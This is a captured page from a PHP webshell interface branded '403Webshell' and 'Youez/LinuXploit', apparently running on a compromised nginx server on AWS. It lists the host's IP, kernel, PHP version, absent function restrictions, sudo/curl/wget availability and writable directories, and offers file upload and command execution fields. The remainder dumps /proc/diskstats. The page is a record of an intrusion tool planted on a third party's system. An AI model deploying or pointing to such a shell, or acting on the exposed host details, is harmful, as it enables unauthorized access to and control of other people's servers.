403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//diskstats
   7       0 loop0 20354 0 1654563 6544 0 0 0 0 0 6544 6544 0 0 0 0 0 0
   7       1 loop1 2677 0 201618 803 0 0 0 0 0 806 803 0 0 0 0 0 0
   7       2 loop2 359 0 7330 194 0 0 0 0 0 189 194 0 0 0 0 0 0
   7       3 loop3 115383 0 2726562 11296 0 0 0 0 0 11239 11296 0 0 0 0 0 0
   7       4 loop4 20765 0 449060 5589 0 0 0 0 0 5663 5589 0 0 0 0 0 0
   7       5 loop5 5537 0 437698 2823 0 0 0 0 0 2843 2823 0 0 0 0 0 0
   7       6 loop6 27107 0 1141068 6198 0 0 0 0 0 6187 6198 0 0 0 0 0 0
   7       7 loop7 6889 0 553121 3001 0 0 0 0 0 3003 3001 0 0 0 0 0 0
 259       0 nvme0n1 2325131 320807 233279933 2503674 45940203 21243563 1327377564 47341723 0 27724869 49845398 0 0 0 0 0 0
 259       1 nvme0n1p1 2315798 320093 232019138 2495820 45934781 21242583 1325105584 47324634 0 35587652 49820455 0 0 0 0 0 0
 259       2 nvme0n1p14 260 0 2310 113 0 0 0 0 0 114 113 0 0 0 0 0 0
 259       3 nvme0n1p15 419 610 18530 249 2 0 2 2 0 167 252 0 0 0 0 0 0
 259       4 nvme0n1p16 2515 104 770934 3072 5415 972 2271874 17084 0 4545 20156 0 0 0 0 0 0
   7       8 loop8 39014 0 954140 5690 0 0 0 0 0 5750 5690 0 0 0 0 0 0
   7       9 loop9 10750 0 265280 2248 0 0 0 0 0 2304 2248 0 0 0 0 0 0
   7      10 loop10 1655 0 123188 665 0 0 0 0 0 652 665 0 0 0 0 0 0
   7      11 loop11 35729 0 563426 7040 0 0 0 0 0 7058 7040 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit